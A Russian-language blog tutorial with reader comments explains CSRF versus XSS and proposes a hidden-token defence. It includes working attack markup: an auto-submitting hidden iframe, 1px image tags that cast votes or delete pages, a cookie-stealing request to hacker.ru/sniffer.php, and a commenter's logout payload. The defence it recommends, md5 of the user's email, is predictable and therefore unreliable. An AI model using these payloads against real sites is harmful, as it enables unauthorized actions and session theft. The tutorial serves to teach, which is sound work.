В сети часто можно встретить темы про XSS. Происходят такие атаки из-за неправильной фильтрации данных. Но есть еще CSRF-атаки, которые не зависят от фильтрации данных.
Пример POST-запроса
Рассмотрим форму личного сообщения на сайте какой-нибудь социальной сети.
Обычно html-код выглядит так
<form action="" method="post"> <input type="text" name="subject" /><br /> <textarea name="text"></textarea><br /> <input type="submit" name="submit" value="Отправить" /> </form>
Никакой капчи или другой защиты в этой форме нет. Действительно, зачем какая-то защита, если мы уверены, что пользователь авторизовался на сайте. Данная форма не подвержена XSS и с первого взгляда выглядит довольно безопасно.
Обработка формы на стороне сервера
<?php if (isset($_POST['submit']) && $_SESSION['user']) { $subject = htmlspecialchars($_POST['subject']); $text = htmlspecialchars($_POST['text']); // записываем в базу данных mysql_query('INSERST INTO ...'); } ?>
$_SESSION['user'] – условие того, что пользователь авторизован.
Пользователь авторизовался на сайте. Затем он случайно зашел на сайт хакера, на котором есть скрытый iframe
<html> <head><title>Сайт хакера</title></head> <body> <script type="text/javascript"> function submit_form(){ window.evilframe.document.forms[0].submit(); } </script> <iframe name="evilframe" src="form.html" style="display:none" onload="submit_form()"></iframe> </body> </html>
В iframe "form.html" подгружается код.
<form action="http://site.ru/mail.php" method="post"> <input type="text" name="subject" /><br /> <textarea name="text"></textarea><br /> <input type="submit" name="submit" value="Отправить" /> </form>
Что происходит. JavaScript автоматически отправляет форму, заполненную спамом, на сайт социальной сети. Вместе с заспамленной формой в запросе отправляются куки этого пользователя. Это происходит в полном соответствии с протоколом HTTP (форму можно отправить с другого домена, точно так же как можно подгрузить картинку с другого домена). На обработчик формы приходит точно такой же запрос, как если бы пользователь отправил бы его с основного сайта. Только реферер будет другим (реферер сайта хакера, так как с него ушел запрос).
Таким образом, пользователь даже не заметит, что форма была отправлена. Всё происходит в фоновом режиме.
Пример GET-запроса
Теперь рассмотрим пример GET-запроса. Например, на сайте есть голосование, реализованное через AJAX. На сайте хакера размещаем картинку размером 1px и указываем путь к скрипту голосования.
<img src=”http://www.vkontakte.ru/vote.php?id=3” width=1px height=1px />
id=3 – за кого мы голосуем.
Таким образом, как только пользователь зайдет на сайт хакера, то он проголосует за кого-то, причем сам пользователь этого не увидит.
Пример удаления страницы
<img src=»http://site.ru/page.php?id=4&action=delete″ width=1px height=1px />
Для подобных атак необходимо чтобы пользователь был авторизован на сайте социальной сети в момент атаки. Причем пользователя не спасет суперсложный пароль или последняя версия антивируса. Подобные атаки не противоречат протоколу HTTP и зависят только от отсутствия защиты от таких атак на самом сайте.
CSRF-атака, в отличие от XSS, не возвращает ответ. Т.е. ответ от сервера уже не может быть получен хакером. Ответ от сервера конечно приходит, но приходит он в браузер пользователя, а не на сайт хакера.
В XSS хакер может получить ответ от сервера. Например, встроить вредоносный код на сайте жертвы и таким образом воровать куки.
<img src=”http://www.hacker.ru/sniffer.php?cookie=document.cookie” width=1px height=1px />
Но, как я показал выше, хватает способов взлома и без получения ответа от сервера, посылая только запрос «в одну сторону».
Защита
В предыдущем абзаце содержится ответ на вопрос о способе защиты от CSRF. Примеры атак, приведенных выше, показывают, что для всех пользователей запросы будут одинаковые. Введем для каждого пользователя какое-то уникальное значение в скрытый параметр формы, например md5($user_email)
<form action="" method="post"> <input type="text" name="subject" /><br /> <textarea name="text"></textarea><br /> <input type="hidden" name="hash" value="<?=md5($_SESSION['user_email'])?>" /> <input type="submit" name="submit" value="Отправить" /> </form>
Проверяем на сервере
<?php if (isset($_POST['submit']) && $_SESSION['user'] && md5($_SESSION['user_email'])==$_POST['hash']) { $subject = htmlspecialchars($_POST['subject']); $text = htmlspecialchars($_POST['text']); // записываем в базу данных mysql_query('INSERST INTO ...'); } ?>
Хакер не может загрузить эту форму, распарсить ее и узнать значение hash. На этом основана защита. Вот в принципе и всё. Для примера можете посмотреть формы, AJAX-запросы в Контакте. Там везде присутствует подобный хэш.
Можно еще проверять реферер, но в этом случае могут пострадать нормальные пользователи. Некоторые фаерволы и прокси обрезают реферер.
Мда... надо будет попробовать как-нибудь так побаловаться =)
Ха-ха
<img src="http://site.ru/login.php?do=logout"/>
Я так на одном самописном форуме некоторые темы "закрывал". Сейчас тоже работает.
да, есть такое:)
Поправил твой коммент, чтобы люди не баловались.
Самописные движки этим славятся, потому что CSRF не столь очевидная дыра как XSS. Многие начинающие разработчики не догадываются об этом.
В Контакте пару лет назад можно было менять сайт в чужом профиле через CSRF. Сейчас уже давно во все формы понапиханы хэши.
Норм. Защитится знач можно только через хеш:-)
Один вопрос: как в iframe изменять input value?